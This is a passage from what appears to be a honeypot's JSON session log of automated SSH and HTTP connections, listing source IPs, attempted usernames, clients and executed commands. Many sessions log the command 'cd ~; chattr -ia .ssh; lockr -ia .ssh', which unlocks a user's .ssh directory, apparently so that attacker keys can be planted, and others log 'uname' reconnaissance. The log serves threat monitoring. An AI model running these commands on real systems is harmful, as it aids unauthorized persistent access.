  "started_at": "2026-08-27T12:53:23.395842+00:00",
  "ended_at": "2026-08-27T12:53:24.180134+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "7c8e67e9-a269-473f-b723-2fa694869856",
  "name": "merry-calm-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36568,
  "username": "xrp",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:53:16.935192+00:00",
  "ended_at": "2026-08-27T12:53:17.042091+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "dc7fc61d-c17f-4018-ba98-b97ee9b95beb",
  "name": "sullen-restless-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59912,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:53:15.753493+00:00",
  "ended_at": "2026-08-27T12:53:16.740548+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0e6dc97c-8a4c-4c90-88bc-14ecc0256ed5",
  "name": "barren-twilight-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 54142,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:04.508996+00:00",
  "ended_at": "2026-08-27T12:53:14.808160+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77710284-4161-446e-8859-906685782872",
  "name": "arctic-graceful-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:57.654567+00:00",
  "ended_at": "2026-08-27T12:52:59.368626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c15625a-5be1-417f-bce9-e2acf76762c9",
  "name": "icy-sandy-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59922,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:55.794854+00:00",
  "ended_at": "2026-08-27T12:52:56.745849+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da95395f-4d56-434c-89f1-495aa10cf491",
  "name": "golden-blithe-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 33882,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:52:16.604226+00:00",
  "ended_at": "2026-08-27T12:52:18.682721+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "78a8cc11-6c52-432a-94c1-d67d09add5fd",
  "name": "vivid-eager-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 33904,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:00.171763+00:00",
  "ended_at": "2026-08-27T12:52:01.977077+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b474a105-1c8f-4b7a-a107-b6513d19cb4c",
  "name": "wandering-icy-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 51332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:51:59.998119+00:00",
  "ended_at": "2026-08-27T12:52:01.203481+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dc2b2b05-6da5-4349-a46c-6fe0ff972213",
  "name": "solar-cunning-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 33888,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:58.806678+00:00",
  "ended_at": "2026-08-27T12:51:59.598623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2897646-8b8c-4303-9a5d-3797ee2e4dfe",
  "name": "cheerful-curious-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51360,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:45.114700+00:00",
  "ended_at": "2026-08-27T12:51:46.134080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4417d94e-4742-48ba-bf9a-5b22b39406e6",
  "name": "seaward-crimson-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51346,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:43.015582+00:00",
  "ended_at": "2026-08-27T12:51:44.461515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "186121f5-be48-475b-a169-0fac760a5e63",
  "name": "stormy-proud-fossa",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "118.31.112.143",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:35.654859+00:00",
  "ended_at": "2026-08-27T13:07:13.108659+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd409d2b-ed61-4abf-a487-c971f7a166d4",
  "name": "bronzed-drifting-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56738,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:48.404055+00:00",
  "ended_at": "2026-08-27T12:50:51.060389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "525a320e-53b1-45f4-9b2b-bdd6b92bfca2",
  "name": "sleepy-candid-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56734,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:45.363239+00:00",
  "ended_at": "2026-08-27T12:50:46.201257+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a25beac5-9f37-499c-bc7a-3fa874c92795",
  "name": "tender-silent-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 56730,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:42.439601+00:00",
  "ended_at": "2026-08-27T12:50:43.568009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "8dcaad64-e205-4415-9abc-8f80854c23a5",
  "name": "subtle-nautical-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59896,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:33.190371+00:00",
  "ended_at": "2026-08-27T12:50:34.730862+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2269
 },
 {
  "id": "e0063e0c-2d86-42e5-9cad-9df45150e8d1",
  "name": "hidden-fickle-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59904,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:16.154380+00:00",
  "ended_at": "2026-08-27T12:50:17.497116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97ddf43f-7b8f-435f-a483-ec7f2c71894d",
  "name": "quiet-tender-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59900,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:14.264379+00:00",
  "ended_at": "2026-08-27T12:50:15.274806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a112586-0f77-4dc3-aabb-2798e3b81c19",
  "name": "gilded-arctic-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 40032,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:12.209359+00:00",
  "ended_at": "2026-08-27T12:50:14.002867+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "39370ab9-678a-4dde-9767-e663eb886be2",
  "name": "scarlet-dusty-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 58624,
  "username": "deepseek",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:50:10.998568+00:00",
  "ended_at": "2026-08-27T12:50:11.103004+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "cb0458d2-31f8-45cb-9f97-3a084e4984b1",
  "name": "lucid-gnarled-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40056,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:58.358753+00:00",
  "ended_at": "2026-08-27T12:49:59.436157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd05d352-deb2-4686-8fd3-2bedf4f19476",
  "name": "frosty-electric-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40492,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:49:57.375321+00:00",
  "ended_at": "2026-08-27T12:49:59.504062+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "662465a7-be85-4be5-b1b0-d3bfdf1f8977",
  "name": "mindful-golden-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:57.076348+00:00",
  "ended_at": "2026-08-27T12:49:57.762035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c97d983-e6d4-4c13-ae82-f8fb16ae5619",
  "name": "bashful-ruddy-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37328,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:39.449497+00:00",
  "ended_at": "2026-08-27T12:49:40.533083+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d170bc1-9f8f-4028-9fa5-03ba9609dc07",
  "name": "craggy-solar-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:37.758480+00:00",
  "ended_at": "2026-08-27T12:49:38.795007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9ac9781-b6f7-4d1b-9710-b63a0400c5a2",
  "name": "scarlet-cunning-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52412,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:48:15.012512+00:00",
  "ended_at": "2026-08-27T12:48:17.108387+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "072ecce3-fc5c-41e7-bf46-f794ce3d5c5d",
  "name": "gentle-calm-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40636,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:48:06.599294+00:00",
  "ended_at": "2026-08-27T12:48:09.011219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5fff8a62-087e-4a32-ac52-29693e593232",
  "name": "vivid-quartz-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40626,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:48:03.682643+00:00",
  "ended_at": "2026-08-27T12:48:05.102033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba15888a-0d9a-4a92-8497-175841418d63",
  "name": "gloomy-kindly-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40624,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:48:01.055435+00:00",
  "ended_at": "2026-08-27T12:48:01.885247+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "8d69b4fa-ab7e-4ecc-a15e-72c12cd0c448",
  "name": "genial-creaky-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52442,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:59.133317+00:00",
  "ended_at": "2026-08-27T12:48:00.603248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2be61374-7157-471c-8912-bee3a0601c04",
  "name": "prairie-whispering-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:47:57.972467+00:00",
  "ended_at": "2026-08-27T12:47:59.174021+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6511889-3ecf-4853-bfad-6be0f693ce86",
  "name": "zealous-freckled-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52426,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:57.131415+00:00",
  "ended_at": "2026-08-27T12:47:58.555706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a91607e8-e524-40e0-9e00-a167432f342e",
  "name": "sullen-marine-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41434,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:47:51.603044+00:00",
  "ended_at": "2026-08-27T12:47:53.744422+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e6b750e1-5b54-45ef-ade8-4cafd4c740f7",
  "name": "faded-boreal-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59882,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:40.981594+00:00",
  "ended_at": "2026-08-27T12:47:41.981559+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ea6d40a-8b05-4e34-820b-657acea2e7e8",
  "name": "jaunty-scarlet-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59870,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:39.299514+00:00",
  "ended_at": "2026-08-27T12:47:40.102246+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e665c71c-fb6a-4d64-aeba-bcae6fdfe8d0",
  "name": "prickly-velvet-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:35.352041+00:00",
  "ended_at": "2026-08-27T12:47:36.453911+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4dabd30c-efd9-49e2-aa9f-29ed9f7feed1",
  "name": "wooded-supple-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:33.887321+00:00",
  "ended_at": "2026-08-27T12:47:34.663088+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "774245d3-4027-4c9c-9786-2d12d2e0dd31",
  "name": "glassy-wry-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 60988,
  "username": "validate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:47:04.789406+00:00",
  "ended_at": "2026-08-27T12:47:04.894050+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "36d59bb7-caef-4b0f-91d9-e855babd4fec",
  "name": "forlorn-sterling-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 65241,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:46:11.056715+00:00",
  "ended_at": "2026-08-27T12:46:39.059038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcb3156c-dcdd-4d14-99f9-61451f6e2656",
  "name": "smoky-lucid-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 44914,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:46:06.093448+00:00",
  "ended_at": "2026-08-27T12:46:08.345573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "5559e721-6a86-4e90-bdf4-92487a3505ca",
  "name": "salty-murky-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:53.445340+00:00",
  "ended_at": "2026-08-27T12:45:55.408876+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ff00251c-88a1-4a9d-9dcb-00e8ad4b0e5a",
  "name": "tawny-humble-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44940,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:51.488218+00:00",
  "ended_at": "2026-08-27T12:45:52.474235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d848c5aa-6d74-4fbf-bb38-b26e85e4d9ba",
  "name": "western-civil-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44928,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:50.299842+00:00",
  "ended_at": "2026-08-27T12:45:50.902905+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4cfd5167-90f8-4bff-b7b2-42e0c56d0430",
  "name": "feathered-tranquil-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 64910,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:48.811667+00:00",
  "ended_at": "2026-08-27T12:46:42.656205+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a9c0917-4568-4ddd-b03b-9be891130aed",
  "name": "calm-frank-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41086,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:40.558808+00:00",
  "ended_at": "2026-08-27T12:45:41.891143+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "3a8dc6c6-23f1-4d90-bd5d-43805cefd14e",
  "name": "muted-granite-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45466,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:31.117745+00:00",
  "ended_at": "2026-08-27T12:45:32.320954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c23a44c5-a723-4247-855a-f2824f680fc6",
  "name": "mighty-gentle-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45450,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:29.367940+00:00",
  "ended_at": "2026-08-27T12:45:30.466394+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b312082-94b9-4a3e-a9b9-706b74821f85",
  "name": "dutiful-murky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59826,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:18.685494+00:00",
  "ended_at": "2026-08-27T12:45:20.012052+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "96a3a65c-c58f-4dc6-af10-dae7786f61bb",
  "name": "silent-granite-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42704,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
